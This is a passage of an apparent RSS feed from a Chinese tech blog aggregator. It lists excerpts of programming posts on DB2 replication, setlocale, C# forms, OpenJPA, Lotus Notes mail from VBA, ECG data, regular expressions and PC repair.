UF_OBJ_cycle_objs_in_part(prt,UF_solid_type,&amp;amp;Next_tag); if(Next_tag==NULL_TAG) break; int t,subtype; UF_OBJ_ask_type_and_subtype(Next_tag,&amp;amp;t,&amp;amp;subtype); if(subtype==UF_solid_body_subtype) UF_MODL_put_list_item(lpObj,Next_tag); } while(1); logical is_open; UF_UI_is_listing_window_open(&amp;amp;is_open); if(!</description>
    </item>
    <item>
      <title>DB2数据到SQLServer的转换(转抄)上</title>
      <link>https://bchobby.github.io/posts/146cce89bae566e54948781974e9f1d3/</link>
      <pubDate>Wed, 23 Apr 2008 10:49:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/146cce89bae566e54948781974e9f1d3/</guid>
      <description>DB2 与 Microsoft SQL Server 2000 之间的 SQL 数据复制 配置需求 要配置 DB2 与 Microsoft SQL Server 2000 之间的 SQL 数据复制，需要安装好以下软件产品和组件： DB2 数据库； WebSphere Replication Server； MS SQL Server 2000，如果数据库在其它服务器，则本机需要安装客户端。 实现步骤 第1 步是配置 MS SQL Server。本例中选用以下配置选项： 配置 MS SQL Server 的身份验证方式时，选择“SQL Server 和 Windows 身份验证”。配置完成后，使用 MS SQL Server 的“查询分析器”验证用户登录成功。 注册 MS SQL Server 数据库为 ODBC 数据源。其中，配置“系统DSN”为实际的 MS SQL Server 服务器名称。本例中使用“WIN2K3”。 第2 步是配置 DB2 联邦数据库。配置好 MS SQL Server 数据库之后，需要使用 WebSphere Replication Server 提供的对 MS SQL Server 数据库的联邦功能，映射需要复制的源表（存在于 MS SQL Server 数据库中）到 DB2 数据库的 Nickname，以支持数据复制。这需要完成一下四个步骤。 创建封装器（Wrapper）：执行命令 create wrapper MSSQLODBC3，其中，MSSQLODBC3是DB2定义的对应MS SQL Server数据库的缺省封装器名称； 创建服务器（Server）：执行命令 CREATE SERVER SSRCTEST TYPE MSSQLSERVER VERSION &#39;2000&#39; WRAPPER MSSQLODBC3 OPTIONS( ADD NODE &#39;WIN2K3&#39;, DBNAME &#39;ssrctest&#39;)。注：本例中使用 SSRCTEST 作为 Server Name，它应该对应于 MS SQL Server 的一个具体数据库名称；版本（VERSION）为 MS SQL Server 数据库的版本属性；OPTIONS 参数中，节点的名称应该对应于已经设置为 ODBC 数据源的 MS SQL Server 节点名；OPTIONS 参数中，DBNAME 为实际需要用联邦功能访问的数据库名称。 创建 User Mapping：执行下面的命令以创建需要的用户映射，CREATE USER MAPPING FOR DB2ADMIN SERVER SSRCTEST OPTIONS ( ADD REMOTE_AUTHID &#39;adminstrator&#39;, ADD REMOTE_PASSWORD &#39;*****&#39;) 。注：本例中使用 DB2 数据库管理员用户 DB2ADMIN。 创建 Nickname：执行命令 CREATE NICKNAME ADMINISTRATOR.</description>
    </item>
    <item>
      <title>setlocale</title>
      <link>https://bchobby.github.io/posts/fdde3ed7dd4d2f3210458b5425df5084/</link>
      <pubDate>Fri, 11 Apr 2008 10:25:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdde3ed7dd4d2f3210458b5425df5084/</guid>
      <description>setlocale:&#xA;函数原形为：char *setlocale( int category, const char *locale );&#xA;头文件：&amp;lt;locale.h&amp;gt;&#xA;所支持的操作系统为:ANSI, Win 95, Win NT&#xA;对于简体中文可以使用如下设置：setlocale( LC_ALL, &#34;chs&#34; ); 为什么一定要调用setlocale呢？&#xA;因为在C/C++语言标准中定义了其运行时的字符集环境为&#34;C&#34;，也就是ASCII字符集的一个子集，那么mbstowcs在工作时会将cstr中所包含的字符串看作是ASCII编码的字符，而不认为是一个包含有chs编码的字符串，所以他会将每一个中文拆成2个ASCII编码进行转换，这样得到的结果就是会形成4个wchar_t的字符组成的串，那么如何才能够让mbstowcs正常工作呢？在调用mbstowcs进行转换之间必须明确的告诉mbstowcs目前cstr串中包含的是chs编码的字符串，通过setlocale( LC_ALL, &#34;chs&#34; )函数调用来完成，需要注意的是这个函数会改变整个应用程序的字符集编码方式，必须要通过重新调用setlocale( LC_ALL, &#34;C&#34; )函数来还原，这样就可以保证mbstowcs在转换时将cstr中的串看作是中文串，并且转换成为2个wchar_t字符，而不是4个。 本地化设置需要具备三个条件： a. 语言代码 (Language Code) b. 国家代码 (Country Code) c. 编码 (Encoding) 本地名字可以用下面这些部分来构造： 语言代码 _国家代码 .编码 比如（ zh_CN.UTF-8, en_US等） locale的别名表见 /usr/lib/X11/locale/locale.alias(以Debian GNU/Linux为例) setlocale语言字符串参考&#xA;Primary&#xA;language&#xA;Sublanguage&#xA;Language stringChineseChinese&#34;chinese&#34;ChineseChinese (simplified)&#34;chinese-simplified&#34; or &#34;chs&#34;ChineseChinese (traditional)&#34;chinese-traditional&#34; or &#34;cht&#34;CzechCzech&#34;csy&#34; or &#34;czech&#34;DanishDanish&#34;dan&#34; or &#34;danish&#34;DutchDutch (default)&#34;dutch&#34; or &#34;nld&#34;DutchDutch (Belgian)&#34;belgian&#34;, &#34;</description>
    </item>
    <item>
      <title>两个窗体之间的按钮移动</title>
      <link>https://bchobby.github.io/posts/6d48a4cdc38a6a9180a8b15a4bc6e72a/</link>
      <pubDate>Fri, 14 Mar 2008 16:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d48a4cdc38a6a9180a8b15a4bc6e72a/</guid>
      <description>这代码是CSDN上一位大哥写的，拷下来后，忘了把名字也考下来，找找没找到。。。&#xA;using System;&#xA;using System.Collections.Generic;&#xA;using System.ComponentModel;&#xA;using System.Data;&#xA;using System.Drawing;&#xA;using System.Text;&#xA;using System.Windows.Forms;&#xA;namespace 两个窗体之间的按钮移动&#xA;{&#xA;public partial class Form1 : Form&#xA;{&#xA;public Form1()&#xA;{&#xA;InitializeComponent();&#xA;}&#xA;protected override void OnLoad(EventArgs e)&#xA;{&#xA;base.OnLoad(e);&#xA;this.button1 = new System.Windows.Forms.Button();&#xA;// // button1&#xA;// this.button1.Location = new System.Drawing.Point(116, 65);&#xA;this.button1.Name = &#34;button1&#34;;&#xA;this.button1.Size = new System.Drawing.Size(75, 23);&#xA;this.button1.TabIndex = 0;&#xA;this.button1.Text = &#34;button1&#34;;&#xA;this.button1.UseVisualStyleBackColor = true;&#xA;this.button1.MouseDown += new System.</description>
    </item>
    <item>
      <title>美丽景色</title>
      <link>https://bchobby.github.io/posts/bbd628b2cb702bb28a3880c49c2f439c/</link>
      <pubDate>Sun, 17 Feb 2008 20:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbd628b2cb702bb28a3880c49c2f439c/</guid>
      <description> 这些天， 心情很复杂， 尽管春节的脚步已经渐渐远去， 却觉得自己是还是在休假， 上班这么多年， 第一次觉得开始厌倦工作， 曾经向往enjoy everything in my life的信念， 是那么的飘渺， 好像找一个世外的桃源， 让自己避开城市的喧嚣， 静静的享受没有时间的人生。 下面的图片是我童年的记忆， 看着这些图， 总让我心情平坦， 希望自己也可以慢慢抹去心中的烦躁。 </description>
    </item>
    <item>
      <title>OpenJPA中的@GeneratedValue不允许赋值</title>
      <link>https://bchobby.github.io/posts/82e8be4628afd1d2d20a269ba9d2b0d5/</link>
      <pubDate>Thu, 14 Feb 2008 12:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82e8be4628afd1d2d20a269ba9d2b0d5/</guid>
      <description> 在使用OpenJPA的时候，创建Entity，id是使用@GeneratedValue来生成的，由于没有注意到它的特性，在update的时候，直接自己生成了一个Entity实例，然后给id赋值，没想到抛出错误，说是会给id赋值产生重复键，但其实这个id是存在的，我只是想更新它。后来废了好大的劲，才搜到@GeneratedValue不能赋值，无论是创建还是更新时，似乎OpenJPA在生成的Entity的Class中做了手脚，一旦有赋值就抛出异常。 如： @Entity&#xA;class Person ... {&#xA;@Id&#xA;@GeneratedValue(strategy = GenerationType.AUTO, generator = &#34;uuid-hex&#34;)&#xA;private int id;&#xA;public int getId() ...{&#xA;return id;&#xA;}&#xA;public void setId(int id) ...{&#xA;this.id = id;&#xA;}&#xA;} 当更新时，如果这样写就会出错： int id = 1 ; //这个id在数据库中已经存在，要更新这个id所属的行 Person p = new Person();&#xA;p.setId(id); 必须要这样写： int id = 1 ; // 这个id在数据库中已经存在，要更新这个id所属的行 Person p = entityManager.get(Person. class , id);&#xA;// 更新p的信息 entityManager.update(p); </description>
    </item>
    <item>
      <title>Lotus Notes Send EMail from VB or VBA</title>
      <link>https://bchobby.github.io/posts/55f587b858ccc6614faaecc7d5f4a4b0/</link>
      <pubDate>Tue, 22 Jan 2008 09:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55f587b858ccc6614faaecc7d5f4a4b0/</guid>
      <description>Lotus Notes Send EMail from VB or VBA Original doc link:http://www.fabalou.com/VBandVBA/lotusnotesmail.asp&#xA;你知道吗？VBA或者VB可以直接编程从发送邮件到Notes系统中，当然前提条件是在运行代码的这台机器上必须安装Notes 客户端并且完成配置.&#xA;要指出的一个问题那就是所有 Lotus Notes 对象声明都必须是后期绑定(late bound或late-binding)，不然就会报错，(不知道为什么，也许是Lotus Notes API的BUG吧). 你可以随意使用这段代码，但是请注意保留上面的连接在你的网页上。很多人无礼的去掉版权说明而一字不改的照搬代码甚至还宣称是原创的，我觉得这种行为是不齿的，如果被我发现有人这样做那就有好戏看了。。。（* 原文如此 据我理解，后期绑定指的是：不预先定义好长整、布尔等数据类型，而是在执行过程中根据需要来动态分配内存，这样可能会降低效率，但是对程序员可就能省下些时间了）&#xA;还有一点值得朋友们注意. 在 5.x 版本上运行到 MailDoc.CREATERICHTEXTITEM (&#34;Attachment&#34;) 时, 可能会出现问题，把这行去掉就可以了. 前面那行代码就足以完成此操作了. 为什么4.x 上只能用这个方法，我也找不到原因，似乎又要归结为BUG了。&#xA;&#39;Public Sub SendNotesMail(Subject as string, attachment as string,&#xA;&#39;recipient as string, bodytext as string,saveit as Boolean)&#xA;&#39;函数功能：发送带附件的邮件给recipient变量中指定的收件人&#xA;&#39;运行环境：安装并配置好Notes客户端.&#xA;Public Sub SendNotesMail(Subject As String, Attachment As String, Recipient As String, BodyText As String, SaveIt As Boolean)</description>
    </item>
    <item>
      <title>MIT-BIH ECG 心电数据的下载和读取图解</title>
      <link>https://bchobby.github.io/posts/ffc8b882946be62c4ebdd246a1783368/</link>
      <pubDate>Sun, 06 Jan 2008 23:32:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffc8b882946be62c4ebdd246a1783368/</guid>
      <description>一、如何下载获取MIT-BIH的数据&#xA;从下面这个官方链接页面可以下载到所有48组MIT-BIH心电数据：&#xA;http://www.physionet.org/physiobank/database/mitdb/&#xA;下面这个链接是MIT-BIH数据库的详细说明和使用指南，英文好的同学不妨仔细阅读：&#xA;http://www.physionet.org/physiobank/database/html/mitdbdir/mitdbdir.htm&#xA;二、MIT-BIH的数据格式&#xA;MIT为了节省文件长度和存储空间，使用了自定义的格式，所以没有通用的读取方式。&#xA;一个心电记录由三个部分组成：&#xA;（1）头文件[.hea]，存储方式ASCII码字符。&#xA;（2）数据文件[.dat]，按二进制存储，每三个字节存储两个数，一个数12bit。&#xA;（3）注释文件[.art]，按二进制存储，格式定义比较复杂，但是只要知道第（2）个如何读入matlab就可以类推出如何读第（3）个。&#xA;三、利用官方网站的工具读取MIT-BIH数据&#xA;可以用这个链接方面的浏览MIT的各种生理数据库：&#xA;http://www.physionet.org/cgi-bin/chart&#xA;并且网页的右上角提供的将信号转换为txt文件的工具。具体图示如下：&#xA;（1）进入http://www.physionet.org/cgi-bin/chart 这个页面后，从网页中上部的下拉菜单中选择所需的数据库，例如“MIT-BIH Arrhythmia Database (mitdb)”，然后点击下拉菜单旁的“Continue”按钮，进入下一页面；&#xA;（2）在Record对应的下拉菜单中选择所需的ECG数据，例如“100”号数据记录，如果需要查看信号波形，请点击下方的“Show chart”按钮，即可看到一段10秒长的心电图，可以根据需要点击页面左侧或右侧的箭头按钮查看前10秒或后10秒的心电波形； （3）如果需要获取文档格式的数据，可以在页面最右侧相应于“Record”一行找到 “Convert signals to text”链接，点击该链接，进入下一页面；然后点击页面中的“Show samples”按钮，即可得到有关该记录的从0-60秒内的时间信息和两组信号的具体数据：&#xA;（4）当然，网站为我们提供了便捷的数据邮件发送功能，只需在“E-mail samples to”按钮后面填入您的邮箱地址，再点击该按钮，即可将所需的心电记录数据传送至您的邮箱。</description>
    </item>
    <item>
      <title>一部很好的入门C＃入门教程</title>
      <link>https://bchobby.github.io/posts/3e7017823f2bd4c44652ae63c306f59d/</link>
      <pubDate>Thu, 06 Dec 2007 10:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e7017823f2bd4c44652ae63c306f59d/</guid>
      <description>java我了解的比较少，但是完全面向对象的技术，使得开发变得简便，这是毋庸置疑的。.net发展实现了这一点。最近做的东西，感觉还是用.net来开发界面比较方便，所以好好的把C＃的学习有深入看了看。当然，要使用.net，要使用Visual C＃，首先要学习C＃语言。感谢这部书，当初使我很快完成了C＋＋向C＃的过渡，希望大家共勉。另外一部是《C＃语言参考》，是手册，没有必要全看，主要是参考。最后多说两句，一、有人问我为什么不使用C++.net这一既有C＋＋语法又有.net语法的语言，我说，那个东西是将C＋＋弄复杂来实现.net，而C＃是将C＋＋弄简单来实现.net，所以C++.net比C＃难学两倍。二、我还是坚定的支持C＋＋和API，因为这仍然是最基本的。特别是C＋＋在一些算法技巧的实现上，我觉得有着非常大的特长。谢谢 前言&#xA;0.1 提要&#xA;欢迎阅读《展现 C#》(Presenting C#)。这本书是你提高企业编程语言的一条捷径。这种企业编程语言带有下一代编程语言服务运行时(NGWS Runtime)：C#(发音&#34;C sharp&#34;)。&#xA;NGWS Runtime 是一个不仅管理执行代码、同时也提供使编程更加容易的动态环境。编译器产生受管代码以指向这种受管理执行环境。你获得跨平台语言集成、跨平台语言异常处理、增强安全性、版本控制、安排支持和查错服务。&#xA;支持NGWS Runtime 的主要语言是C#。支持NGWS框架的很多程序是用C#写的，因此，在一些带有NGWS Runtime的编译器中，它的编译器可以被认为是非常经得起测试且是经过优化的。C#语言借鉴了C++，但是具备现代化和新增的类型安全——使C#成为企业解决方案的首选语言。 0.2 谁应该读这本书&#xA;如果你对编程很陌生，这本书不适合你。这本书企图让程序员解脱并使用C#，基于他们已经拥有的知识。《展现 C#》的目标瞄准了已经具有如C/C++、VB、Java或其它编程经验的程序员。&#xA;如果你具有C++的背景，转向C#会很容易，但是，如果你精通于其它不同的语言，这本书也会耗掉你的一些日子。如果你有一点COM编程的知识，这本会更有趣，但会COM编程不再是必要的。 0.3 这本书如何组织&#xA;第一章 C#简介——这一章把你带到C#逛一回，同时回答了有关你应该考虑学习C#的问题。&#xA;第二章 NGWS Runtime 的技术基础——介绍NGWS Runtime为运行的C#代码所提供的低层架构。&#xA;第三章 第一个C#应用程序——创建真正第一个C#应用程序(否则它是什么呢?)，它就是一个&#34;Hello World&#34;应用程序。&#xA;第四章 C#类型——可以看到用在C#应用程序中的各种类型。探索值型和引用型的区别，还有如何加框和消框。&#xA;第五章 类——C#功能真正强大的标志，它是具有类的面向对象的编程。你会学到好多好多的东西，如构造函数、析构函数、方法、属性、索引和事件等。&#xA;第六章 控制语句——对应用程序实行流程控制。探索C#提供的各种选择和陈述语句。&#xA;第七章 异常处理——获得了编写实现异常处理的应用程序技巧，拥有这种技巧，在NGWS Runtime世界，你是一个好的公民&#xA;第八章 用C#写组件——用C#构建组件，因为支持NGWS Runtime，它可以被不同语言平台的客户使用。&#xA;第九章 配置和安排——学到如何用C#有条件地进行编译工作，和如何为你的C#源码自动地创建文档。另外，这一章将介绍到NGWS的版本技术问题。&#xA;第十章 用非受管代码交互操作——发现你如何使用C#内部的非受管代码，且非受管代码如何与你的C#组件一起交互操作。&#xA;第十一章 C#代码查错——获得使用SDK查错工具的技巧，可以在应用程序中准确地找到错误并修改它们。&#xA;第十二章 安全——探索NGWS Runtime的安全概念。学到代码访问安全性和基于角色的安全性。 0.4 使用这本书你需要什么?&#xA;从这本书的观点看，你所需要的就是下一代windows服务软件开发包(NGWS SDK)。尽管至少只要有NGWS Runtime 和C#编译器就可以，但当探索这些激动人心的新技术功能 时，在一台机器上装有说明文件档和所有的SDK工具(包括debugger)，将是一个极好的主意。&#xA;这本书不需要你装在机器上的Visual Studio 7的任何工具。我仅建议你要有一个优秀的支持行数的程序编辑器，用以编辑C#源文件。&#xA;……&#xA;(省略掉一些有关出版过程和表示感谢的段落) 0.5 关于作者</description>
    </item>
    <item>
      <title>电脑维修指导手册(联想)</title>
      <link>https://bchobby.github.io/posts/53c37acaf5c8ba36a94e107a027ac338/</link>
      <pubDate>Sat, 17 Nov 2007 10:32:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53c37acaf5c8ba36a94e107a027ac338/</guid>
      <description>第一部分---总则 第一章 电脑维修的基本原则和方法&#xA;第二章 电脑维修步骤与维修操作注意事项&#xA;第二部分 常见故障判断&#xA;本部分将计算机从开机一直到关机期间的故障进行分类。每一类的判断、定位过程都是第一部分中“维修判断”一节的有机组成部分，即不论使用什么方法或不论去判断什么内容，这两部分总是相互结合使用的。&#xA;以下各故障类型中所列的故障现象只是众多故障现象中的一部分，对于未列出的故障现象，有的可归类到其中，有的无法归类。因此，本手册只针对已列出的及可归类其中的故障现象提供相应的判断的方法和思路，并提供基本的排除的方法。而对不能归类其中的其它故障现象来说，我们会在今后的工作中不断的收集、整理总结，然后对本《台式电脑维修指导手册》进行丰富。&#xA;第一章 加电类故障&#xA;第二章 启动与关闭类故障&#xA;第三章 磁盘类故障&#xA;第四章 显示类故障&#xA;第五章 安装类故障&#xA;第六章 操作与应用类故障&#xA;第七章 局域网类故障&#xA;第八章 Internet类故障&#xA;第九章 端口与外设故障&#xA;第十章 音视频类故障&#xA;第十一章 兼容或配合性故障&#xA;第一部分---总则&#xA;第一章 电脑维修的基本原则和方法&#xA;这里所述原则、方法等是第二部分分类判断的基础，需要认真遵守执行。&#xA;§1.1 进行电脑维修应遵循的基本原则：&#xA;一、 进行维修判断须从最简单的事情做起&#xA;简单的事情，一方面指观察，另一方面是指简捷的环境。&#xA;简单的事情就是观察，它包括：&#xA;1、 电脑周围的环境情况——位置、电源、连接、其它设备、温度与湿度等;&#xA;2、 电脑所表现的现象、显示的内容，及它们与正常情况下的异同;&#xA;3、 电脑内部的环境情况——灰尘、连接、器件的颜色、部件的形状、指示灯的状态等;&#xA;4、 电脑的软硬件配置——安装了何种硬件，资源的使用情况;使用的是使种xx作系统，其上又安装了何种应用软件;硬件的设置驱动程序版本等。&#xA;简捷的环境包括：&#xA;1、 后续将提到的最小系统;&#xA;2、 在判断的环境中，仅包括基本的运行部件/软件，和被怀疑有故障的部件/软件;&#xA;3、 在一个干净的系统中，添加用户的应用(硬件、软件)来进行分析判断&#xA;从简单的事情做起，有利于精力的集中，有利于进行故障的判断与定位。一定要注意，必须通过认真的观察后，才可进行判断与维修。&#xA;二、 根据观察到的现象，要“先想后做”&#xA;先想后做，包括以下几个方面：&#xA;首先是，先想好怎样做、从何处入手，再实际动手。也可以说是先分析判断，再进行维修。&#xA;其次是，对于所观察到的现象，尽可能地先查阅相关的资料，看有无相应的技术要求、使用特点等，然后根据查阅到的资料，结合下面要谈到的内容，再着手维修。&#xA;最后是，在分析判断的过程中，要根据自身已有的知识、经验来进行判断，对于自己不太了解或根本不了解的，一定要先向有经验的同事或你的技术支持工程师咨询，寻求帮助。&#xA;三、 在大多数的电脑维修判断中，必须“先软后硬：&#xA;即从整个维修判断的过程看，总是先判断是否为软件故障，先检查软件问题，当可判软件环境是正常时，如果故障不能消失，再从硬件方面着手检查。&#xA;四、 在维修过程中要分清主次，即“抓主要矛盾”&#xA;在复现故障现象时，有时可能会看到一台故障机不止有一个故障现象，而是有两个或两个以上的故障现象(如：启动过程中无显，但机器也在启动，同时启动完后，有死机的现象等)，为时，应该先判断、维修主要的故障现象，当修复后，再维修次要故障现象，有时可能次要故障现象已不需要维修了。</description>
    </item>
    <item>
      <title>深入浅出之正则表达式</title>
      <link>https://bchobby.github.io/posts/d0504d88ecc0c6252064803d57778431/</link>
      <pubDate>Sun, 11 Nov 2007 20:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0504d88ecc0c6252064803d57778431/</guid>
      <description>这篇文章很重要，直接帖过来保存。 出处 http://dragon.cnblogs.com/archive/2006/05/08/394078.html 前言： 半年前我对正则表达式产生了兴趣，在网上查找过不少资料，看过不少的教程，最后在使用一个正则表达式工具RegexBuddy时发现他的教程写的非常好，可以说是我目前见过最好的正则表达式教程。于是一直想把他翻译过来。这个愿望直到这个五一长假才得以实现，结果就有了这篇文章。关于本文的名字，使用“深入浅出”似乎已经太俗。但是通读原文以后，觉得只有用“深入浅出”才能准确的表达出该教程给我的感受，所以也就不能免俗了。 本文是Jan Goyvaerts为RegexBuddy写的教程的译文，版权归原作者所有，欢迎转载。但是为了尊重原作者和译者的劳动，请注明出处！谢谢！ 1. 什么是正则表达式 基本说来，正则表达式是一种用来描述一定数量文本的模式。Regex代表Regular Express。本文将用&amp;lt;&amp;lt;regex&amp;gt;&amp;gt;来表示一段具体的正则表达式。 一段文本就是最基本的模式，简单的匹配相同的文本。 2. 不同的正则表达式引擎 正则表达式引擎是一种可以处理正则表达式的软件。通常，引擎是更大的应用程序的一部分。在软件世界，不同的正则表达式并不互相兼容。本教程会集中讨论Perl 5 类型的引擎，因为这种引擎是应用最广泛的引擎。同时我们也会提到一些和其他引擎的区别。许多近代的引擎都很类似，但不完全一样。例如.NET正则库，JDK正则包。 3. 文字符号 最基本的正则表达式由单个文字符号组成。如&amp;lt;&amp;lt;a&amp;gt;&amp;gt;，它将匹配字符串中第一次出现的字符“a”。如对字符串“Jack is a boy”。“J”后的“a”将被匹配。而第二个“a”将不会被匹配。 正则表达式也可以匹配第二个“a”，这必须是你告诉正则表达式引擎从第一次匹配的地方开始搜索。在文本编辑器中，你可以使用“查找下一个”。在编程语言中，会有一个函数可以使你从前一次匹配的位置开始继续向后搜索。 类似的，&amp;lt;&amp;lt;cat&amp;gt;&amp;gt;会匹配“About cats and dogs”中的“cat”。这等于是告诉正则表达式引擎，找到一个&amp;lt;&amp;lt;c&amp;gt;&amp;gt;，紧跟一个&amp;lt;&amp;lt;a&amp;gt;&amp;gt;，再跟一个&amp;lt;&amp;lt;t&amp;gt;&amp;gt;。 要注意，正则表达式引擎缺省是大小写敏感的。除非你告诉引擎忽略大小写，否则&amp;lt;&amp;lt;cat&amp;gt;&amp;gt;不会匹配“Cat”。 · 特殊字符 对于文字字符，有11个字符被保留作特殊用途。他们是： [ ] / ^ $ . | ? * + ( ) 这些特殊字符也被称作 元字符。 如果你想在正则表达式中将这些字符用作文本字符，你需要用反斜杠“/”对其进行换码 (escape)。例如你想匹配“1+1=2”，正确的表达式为&amp;lt;&amp;lt;1/+1=2&amp;gt;&amp;gt;. 需要注意的是，&amp;lt;&amp;lt;1+1=2&amp;gt;&amp;gt;也是有效的正则表达式。但它不会匹配“1+1=2”，而会匹配“123+111=234”中的“111=2”。因为“+”在这里表示特殊含义（重复1次到多次）。 在编程语言中，要注意，一些特殊的字符会先被编译器处理，然后再传递给正则引擎。因此正则表达式&amp;lt;&amp;lt;1/+2=2&amp;gt;&amp;gt;在C++中要写成“1//+1=2”。为了匹配“C:/temp”，你要用正则表达式&amp;lt;&amp;lt;C://temp&amp;gt;&amp;gt;。而在C++中，正则表达式则变成了“C:temp”。 · 不可显示字符 可以使用特殊字符序列来代表某些不可显示字符： &amp;lt;&amp;lt;/t&amp;gt;&amp;gt;代表Tab(0x09) &amp;lt;&amp;lt;/r&amp;gt;&amp;gt;代表回车符(0x0D) &amp;lt;&amp;lt;/n&amp;gt;&amp;gt;代表换行符(0x0A) 要 注意的是Windows中文本文件使用“/r/n”来结束一行而Unix使用“/n”。 4. 正则表达式引擎的内部工作机制 知道正则表达式引擎是如何工作的有助于你很快理解为何某个正则表达式不像你期望的那样工作。 有两种类型的引擎： 文本导向(text-directed)的引擎和 正则导向(regex-directed)的引擎。Jeffrey Friedl把他们称作 DFA和 NFA引擎。本文谈到的是正则导向的引擎。这是因为一些非常有用的特性，如“惰性”量词(lazy quantifiers)和反向引用(backreferences)，只能在正则导向的引擎中实现。所以毫不意外这种引擎是目前最流行的引擎。 你可以轻易分辨出所使用的引擎是文本导向还是正则导向。如果反向引用或“惰性”量词被实现，则可以肯定你使用的引擎是正则导向的。你可以作如下测试：将正则表达式&amp;lt;&amp;lt;regex|regex not&amp;gt;&amp;gt;应用到字符串“regex not”。如果匹配的结果是regex，则引擎是正则导向的。如果结果是regex not，则是文本导向的。因为正则导向的引擎是“猴急”的，它会很急切的进行表功，报告它找到的第一个匹配 。 · 正则导向的引擎总是返回最左边的匹配 这是需要你理解的很重要的一点：即使以后有可能发现一个“更好”的匹配，正则导向的引擎也总是返回最左边的匹配。 当把&amp;lt;&amp;lt;cat&amp;gt;&amp;gt;应用到“He captured a catfish for his cat”，引擎先比较&amp;lt;&amp;lt;c&amp;gt;&amp;gt;和“H”，结果失败了。于是引擎再比较&amp;lt;&amp;lt;c&amp;gt;&amp;gt;和“e”，也失败了。直到第四个字符，&amp;lt;&amp;lt;c&amp;gt;&amp;gt;匹配了“c”。&amp;lt;&amp;lt;a&amp;gt;&amp;gt;匹配了第五个字符。到第六个字符&amp;lt;&amp;lt;t&amp;gt;&amp;gt;没能匹配“p”，也失败了。引擎再继续从第五个字符重新检查匹配性。直到第十五个字符开始，&amp;lt;&amp;lt;cat&amp;gt;&amp;gt;匹配上了“catfish”中的“cat”，正则表达式引擎急切的返回第一个匹配的结果，而不会再继续查找是否有其他更好的匹配。 5.</description>
    </item>
    <item>
      <title>C#里使用CopyMemory</title>
      <link>https://bchobby.github.io/posts/eab833727605786a0e2b7bf70029fdb0/</link>
      <pubDate>Fri, 24 Aug 2007 09:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eab833727605786a0e2b7bf70029fdb0/</guid>
      <description>Socket接收到的byte []要转换成自定义的struct / 自定义Struct转换成byte []都相当麻烦&#xA;用循环去转换太浪费时间了……于是想到用CopyMemory，Google一圈终于搞定&#xA;下面的代码是在Snippet Compiler里编译通过的&#xA;C#代码 #region Imports using System; using System.IO; using System.Net; using System.Xml; using System.Text; using System.Data; using System.Drawing; using System.Threading; using System.Reflection; using System.Collections; using System.Net.Sockets; using System.Windows.Forms; using System.ComponentModel; using System.Drawing.Imaging; using System.Security.Cryptography; using System.Runtime.InteropServices; using System.Text.RegularExpressions; #endregion #region Assembly Info [assembly: AssemblyTitle(&#34;Test Application by eglic&#34;)] [assembly: AssemblyDescription(&#34;Test Application by eglic&#34;)] [assembly: AssemblyConfiguration(&#34;&#34;)] [assembly: AssemblyCompany(&#34;eGlic.Com&#34;)] [assembly: AssemblyProduct(&#34;Test Application by eglic&#34;)] [assembly: AssemblyCopyright(&#34;</description>
    </item>
    <item>
      <title>构建文件格式转换服务器</title>
      <link>https://bchobby.github.io/posts/68d999fe975132301b0ecf2c55539c30/</link>
      <pubDate>Tue, 14 Aug 2007 14:37:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68d999fe975132301b0ecf2c55539c30/</guid>
      <description>构建文件格式转换服务器 1. 为什么要做文件格式转换服务器 不知道各位是否遇到这样的情况， 当您在浏览IBM SUN等公司的技术网站的时候， 你会发现在每个页面的上方有小图标， 你可以把当前的页面内容以word， pdf或者是其他的格式进行下载， 可能你在想， 恩， 大公司的做法确实很正规， 他们提供了许多的格式版本提供不同的用户下载， 我想你可能是对的， 但是我们换一种想法假设我们构建一个服务器， 让所有的格式可以自由地转换成我们所希望地格式： 假设我们的Java代码是这样写的 Public static FileTransfer{ Public static convert(File inputFile ,File outputFile){ ……… } } 那么我们可以在Jsp Servlet里面调用这个静态方法， 实现文档的格式的转换。 2. 怎么实现 好了， 设计思想有了， 怎么实现呢， 好在Java有大量的开源社区，而且我们有google ， 不出一分钟， 我们可以从互联网找到答案： http://www.artofsolving.com/ 这个是一个利用Openoffice来实现的解决方案， 他已经帮忙做好了整个解决方案。 JODConverter 是这个项目的子项， 用 Java 语言来实现： n Microsoft Office 转换成OpenDocument和viceversa n Word 格式转换成 OpenDocument Text (odt); n OpenDocument Text (odt) 转换成 Word n Excel转换成OpenDocument Spreadsheet (ods); n OpenDocument Spreadsheet (ods) 转换成Excel n PowerPoint转换成OpenDocument Presentation (odp); n OpenDocument Presentation (odp) 转换成PowerPoint n 任何格式转换成 PDF n OpenDocument (Text, Spreadsheet, Presentation) 转换成PDF n Word to PDF; Excel转换成PDF; PowerPoint转换成PDF n RTF转换成PDF; WordPerfect转换成PDF; .</description>
    </item>
    <item>
      <title>c#中String与string的区别.</title>
      <link>https://bchobby.github.io/posts/65203196594d85d71471bf876a38d0d5/</link>
      <pubDate>Tue, 31 Jul 2007 14:47:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65203196594d85d71471bf876a38d0d5/</guid>
      <description>之前有查过2者之前的区别，不过时隔多日有点不是很清楚了，而且也没深入了解2者到底有何区别，今日再次查询网上讨论，主要也就有以下观点： string是c#中的类，String是.net Framework的类(在c# IDE中不会显示蓝色) c# string映射为.net Framework的String 如果用string,编译器会把它编译成String，所以如果直接用String就可以让编译器少做一点点工作 如果使用c#，建议使用string，比较符合规范 string始终代表 System.String(1.x)或 ::System.String(2.0) ，String只有在前面有using System;的时候并且当前命名空间中没有名为String的类型（class、struct、delegate、enum）的时候才代表System.String string是关键字，String不是，也就是说string不能作为类、结构、枚举、字段、变量、方法、属性的名称，而String可以</description>
    </item>
    <item>
      <title>Linux与Windows相互访问</title>
      <link>https://bchobby.github.io/posts/29541e462c602b37e4ee44b6d39106cc/</link>
      <pubDate>Mon, 23 Jul 2007 09:42:00 +0800</pubDate>
